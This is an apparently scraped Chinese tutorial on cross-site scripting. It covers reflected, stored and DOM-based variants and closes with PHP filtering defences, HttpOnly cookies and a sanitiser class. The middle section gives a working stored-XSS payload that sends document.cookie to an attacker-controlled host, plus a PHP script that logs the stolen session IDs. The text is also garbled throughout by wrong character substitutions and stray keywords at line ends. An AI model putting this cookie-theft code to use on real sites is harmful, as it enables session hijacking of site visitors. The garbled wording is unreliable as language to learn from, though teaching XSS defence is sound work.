简介javascript
跨站脚本(cross site script)为了不与样式css混淆,因此简称为XSS。php
XSS是一种常常出如今web应用中的计算机安全漏洞,也是web中最主流的攻击方式。那么什么是XSS呢?css
XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。html
从而盗取用户资料、利用用户身份进行某种动做或者对访问者进行病毒侵害的一种攻击方式。java
XSS攻击的危害包括:linux
缘由分析web
主要缘由:过于信任客户端提交的数据!数据库
解决办法:不信任任何客户端提交的数据,只要是客户端提交的数据就应该先进行相应的过滤处理而后方可进行下一步的操做。数组
进一步分析细节:浏览器
客户端提交的数据原本就是应用所须要的,可是恶意攻击者利用网站对客户端提交数据的信任,在数据中插入一些符号以及javascript代码,那么这些数据将会成为应用代码中的一部分了。那么攻击者就能够肆无忌惮地展开攻击啦。
所以咱们绝不能够信任任何客户端提交的数据!!!
又称为非持久性跨站点脚本攻击,它是最多见的类型的XSS。漏洞产生的缘由是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的连接(即每次攻击须要用户的点击)。
简单例子
正常发送消息:
http://www.test.com/message.php?send=Hello,World!
接收者将会接收信息并显示Hello,Word
非正常发送消息:
http://www.test.com/message.php?send=<script>alert(‘foolish!’)</script>!
接收者接收消息显示的时候将会弹出警告窗口
又称为持久型跨站点脚本,它通常发生在XSS攻击向量(通常指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,由于每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。
简单例子:
从名字就可了解到存储型XSS攻击就是将攻击代码存入数据库中,而后客户端打开时就执行这些攻击代码。例如留言板
留言板表单中的表单域:<input type=“text” name=“content” value=“这里是用户填写的数据”>
正常操做:
用户是提交相应留言信息;将数据存储到数据库;其余用户访问留言板,应用去数据并显示。
非正常操做:
攻击者在value填写<script>alert(‘foolish!’)</script>【或者html其余标签(破坏样式。。。)、一段攻击型代码】;
将数据存储到数据库中;
其余用户取出数据显示的时候,将会执行这些攻击性代码
基于DOM的XSS有时也称为type0XSS。当用户可以经过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来讲它也是反射型XSS。
经过修改页面的DOM节点造成的XSS,称之为DOMBasedXSS。
前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location 或document.URL 或 document.referrer获取数据(或者任何其余攻击者能够修改的对象)。
简单例子:
<HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to our system … </HTML>
这个例子是个欢迎页面,name是截取URL中get过来的name参数
正常操做:
http://www.vulnerable.site/welcome.html?name=Joe
非正常操做:
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
将产生xss条件。让咱们看看为何:受害者的浏览器接收到这个连接,发送HTTP请求到www.vulnerable.site而且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它而且修改你的HTML页面。假若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,而后当即解析,同时,javascript代码会找到(alert(…))而且在同一个页面执行它,这就产生了xss的条件。
注意:
1. 恶意程序脚本在任什么时候候不会嵌入处处于天然状态下的HTML页面(这和其余种类的xss不太同样)。
2.这个攻击只有在浏览器没有修改URL字符时起做用。 当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),所以在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,所以他很容易受到攻击。
固然,直接嵌入到HTML只是攻击的一个挂载点,有不少脚本不须要依赖<和>漏洞,所以Mozilla一般也是没法阻止这些攻击的。
【这段出自:http://www.oschina.net/translate/dom-based-xss-of-third-kind】
留言类,简单注入javascript
有个表单域:<input type=“text” name=“content” value=“这里是用户填写的数据”>
一、倘若用户填写数据为:<script>alert('foolish!')</script>(或者<script type="text/javascript" src="./xss.js"></script>)
二、提交后将会弹出一个foolish警告窗口,接着将数据存入数据库
三、等到别的客户端请求这个留言的时候,将数据取出显示留言时将执行攻击代码,将会显示一个foolish警告窗口。
【将数据改为html标签进行攻击,则会将本来的样式打乱。。。。。。。。】
一、网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com
二、test88.com中的表单,xss.html
<!DOCTYPE html> <html> <head> <title>xss攻击</title> <meta charset="utf-8"> </head> <body> <form action="./test99.php" method="post"> 留言:<input type="text" name="content" value=""><br/> <input type="submit" name="" value='提交'> </form> <br/>留言记录:<br/> </body> </html>
三、恶意攻击者插入相应代码
<script> var Str=document.cookie; //获取cookie var a =document.createElement('a'); //建立a标签 a.href='http://www.linuxtest.com/test2.php?'+Str; //攻击者主机 a.innerHTML="<img src='./aa.jpg'>"; //掩护图片 document.body.appendChild(a); //将标签添加到页面中 </script>
四、数据(攻击代码)插入数据库
五、攻击者控制的主机中设置接收盗取的cookie
<?php header("content-type:text/html;charset=utf8"); echo "你的PHPSESSID被盗啦"; echo "<pre>"; print_r($_GET); echo "</pre>"; $cookie=$_GET['PHPSESSID']; file_put_contents('./xss.txt', $cookie); ?>
开始模拟测试
一、test88.com中设置生成sessionID代码
<?php session_start(); $_SESSION['xss']='xssssss'; echo "<pre>"; print_r($_SESSION); echo "</pre>";die; ?>
二、客户端访问上面代码并生成本身的sessionID
三、客户端访问xss.html
#下面为模拟被攻击后取出数据的xss.html代码(显示数据)
<!DOCTYPE html> <html> <head> <title>xss攻击</title> <meta charset="utf-8"> </head> <body> <form action="./test99.php" method="post"> 留言:<input type="text" name="content" value=""><br/> <input type="submit" name="" value='提交'> </form> <br/>留言记录:<br/> <script> var Str=document.cookie; //获取cookie var a =document.createElement('a'); //建立a标签 a.href='http://www.linuxtest.com/test2.php?'+Str; //攻击者主机 a.innerHTML="<img src='./aa.jpg'>"; //掩护图片 document.body.appendChild(a); //将标签添加到页面中 </script> </body> </html>
四、客户端不当心点击到图片,sessionID将被盗
【固然这仅仅只是一个很简单的攻击,只要将数据过滤就能够避免这个攻击了,这里只是让你们了解XSS是如何进行攻击的。】
从上面XSS实例以及以前文章的介绍咱们知道XSS漏洞的原由就是没有对用户提交的数据进行严格的过滤处理。所以在思考解决XSS漏洞的时候,咱们应该重点把握如何才能更好的将用户提交的数据进行安全过滤。
什么是html实体?
在html中有些字符,像(<)这类的,对HTML(标准通用标记语言下的一个应用)来讲是有特殊意义的,因此这些字符是不容许在文本中使用的。要在HTML中显示(<)这个字符,咱们就必须使用实体字符。
html实体的存在是致使XSS漏洞的主要缘由之一。
所以咱们须要将这些实体所有转换为相应的实体编号。
显示结果 |
描述 |
实体名称 |
|
空格 |
|
< |
小于号 |
< |
> |
大于号 |
> |
& |
和号 |
& |
" |
引号 |
" |
' |
撇号 |
' (IE不支持) |
用户将数据提交上来的时候进行HTML编码,将相应的符号转换为实体名称再进行下一步的处理。
在PHP中已经存在这样子功能的函数,便是htmlentities($str)函数。
与之相反的就是html_entity_decode($str)函数,它将实体名称转换为相应的符号。
【不相应用户提交的数据,过滤过滤过滤!】
一、将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
二、表单数据规定值的类型,例如:年龄应为只能为int、name只能为字母数字组合。。。。
四、对数据进行Html Encode 处理
五、过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for
六、过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
【特别注意:】
在有些应用中是容许html标签出现的,甚至是javascript代码出现。所以咱们在过滤数据的时候须要仔细分析哪些数据是有特殊要求(例如输出须要html代码、javascript代码拼接、或者此表单直接容许使用等等),而后区别处理!
【详细看PHP手册】
这里可能不全,想了解更多的看手册。
strip_tags($str, [容许标签]) #从字符串中去除 HTML 和 PHP 标记
htmlentities($str)函数 #转义html实体
html_entity_decode($str)函数 #反转义html实体
addcslashes($str, ‘字符’)函数 #给某些字符加上反斜杠
stripcslashes($str)函数 #去掉反斜杠
addslashes ($str )函数 #单引号、双引号、反斜线与 NULL加反斜杠
stripslashes($str)函数 #去掉反斜杠
htmlspecialchars() #特殊字符转换为HTML实体
htmlspecialchars_decode() #将特殊的 HTML 实体转换回普通字符
<?php class XSS { /** * @desc 过滤数据 * * @param $data string|array 输入数据 * @param $low bool 是否采用更为严格的过滤 * * @return 返回过滤的数据 */ public function clean_xss($data, $low = False) { #字符串过滤 if (! is_array ( $data )) { $data = trim ( $data ); #字符两边的处理 $data = strip_tags ( $data ); #从字符串中去除 HTML 和 PHP 标记 $data = htmlspecialchars ( $data ); #特殊字符转换为HTML实体 if ($low) { return $data; } #匹配换空格 $data = str_replace ( array ('"', "\\", "'", "/", "..", "../", "./", "//" ), '', $data ); $no = '/%0[0-8bcef]/'; $data = preg_replace ( $no, '', $data ); $no = '/%1[0-9a-f]/'; $data = preg_replace ( $no, '', $data ); $no = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S'; $data = preg_replace ( $no, '', $data ); return $data; } #数组过滤 $arr=array(); foreach ($data as $k => $v) { $temp=$this->clean_xss($v); $arr[$k]=$temp; } return $arr; } } #测试测试 session_start(); $_SESSION['xss']='xssss'; $xss=new XSS(); #测试字符串 $str = "<script>alert(document.cookie)</script>"; echo $str; $str2=$xss->clean_xss($str); echo $str2; echo "<hr/>"; #测试数组 $arr=array("<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>"); echo "<pre>"; print_r($arr); echo "</pre>"; $arr2=$xss->clean_xss($arr); echo "<pre>"; print_r($arr2); echo "</pre>";die; ?>